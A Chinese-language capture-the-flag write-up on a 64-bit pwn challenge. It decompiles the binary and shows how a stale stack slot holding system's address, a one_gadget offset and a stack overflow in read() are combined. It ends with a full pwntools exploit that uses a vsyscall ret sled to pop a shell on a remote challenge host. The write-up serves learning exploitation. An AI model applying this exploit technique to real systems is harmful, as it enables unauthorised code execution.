程序流程&漏洞分析
checksec:
supergate@ubuntu:~/Desktop/Pwn$ checksec pwn
[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开启了PIE,这对我们的地址泄露造成困难
主要实现了两个流程:
Hint:
int hint()
{
signed __int64 v1; // [rsp+8h] [rbp-108h]
int v2; // [rsp+10h] [rbp-100h]
__int16 v3; // [rsp+14h] [rbp-FCh]
if ( unk_55C634EFB08C )
{
sprintf((char *)&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 'N NWP ON';
v2 = 'UF O';
v3 = 'N';
}
return puts((const char *)&v1);
}
可以发现该流程先判断.bss段上的一个地方的值,如果不为零则可以达到泄露system地址的效果
当然在后续调试和分析中我们发现这个地方没有办法直接泄露,但是按tab看汇编后可以发现,system的地址会被直接存在栈上[esp+10h]
的位置上,在后续的控制流中有可能进行利用
Go:
int go()
{
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 System_addr; // [rsp+10h] [rbp-110h]
signed __int64 System_addra; // [rsp+10h] [rbp-110h]
signed __int64 v7; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]
puts("How many levels?");
v2 = readin();
if ( v2 > 0 )
System_addr = v2;
else
puts("Coward");
puts("Any more?");
v3 = readin();
System_addra = System_addr + v3;
if ( System_addra > 0 )
{
if ( System_addra <= 99 )
{
v7 = System_addra;
}
else
{
puts("You are being a real man.");
v7 = 100LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)sub_55C634CF9E43(v7) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
可以看到有两个变量是改了名的——这就是上面分析时所说的可以利用的地方。根据栈平衡,本函数中的[esp+10h]
的地址仍然存的是system的地址。v2<=0的时候会跳过对[esp+10h]
的初始化,使得这个地方的值不变。
one_gadget
搜一下库:
supergate@ubuntu:~/Desktop/Pwn$ one_gadget libc.so
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
发现执行shell的地方存在libc.so
偏移为0x4526a
,因此可以通过go
函数的v3变量来修改system_addr的偏移,使得[esp+10h]
这个地址内存的是execve("/bin/sh")
的地址
sub_55C634CF9E43
_BOOL8 __fastcall sub_55C634CF9E43(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)sub_55C634CF9E43(a1 - 1) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
是一个递归调用函数。
很容易发现read函数有很大的缓冲区溢出量。
由于也没有canary,因此可以直接构造返回地址劫持控制流。
可以经过调试发现ret的地址在buf偏移0x38
的地方,而上面提到的execve("/bin/sh")
,由于存在[esp+10h]
处,所以偏移处应该在0x38+8*3
,因此在ret之后还应绕过剩下的这三个偏移。
由于开启了PIE,所以ROP链的构造比较困难,这里考虑使用vsyscall
来跳过这三个地址,具体的原理可搜一下相关信息。
exp
from pwn import *
from LibcSearcher import *
context(log_level='debug')
#p=process("./pwn")
p=remote("111.198.29.45",48741)
e=ELF("./libc.so")
system_libc=e.symbols['system']
exev_libc=0x4526a
vsyscall=0xffffffffff600000
offset=exev_libc-system_libc
print "offset ====> "+hex(offset)
p.recvuntil("Choice:\n")
p.sendline("2")
p.recvuntil("Choice:\n")
p.sendline("1")
p.recvuntil("How many levels?\n")
p.sendline("0")
p.recvuntil("Any more?\n")
p.sendline(str(offset))
for i in range(99):
p.recvuntil("Question: ")
a=int(p.recvuntil(" ")[:-1])
p.recvuntil("* ")
b=int(p.recvuntil(" ")[:-1])
p.recvuntil("Answer:")
p.sendline(str(a*b))
payload='a'*0x38+p64(vsyscall)*3
p.recvuntil("Answer:")
p.send(payload)
p.interactive()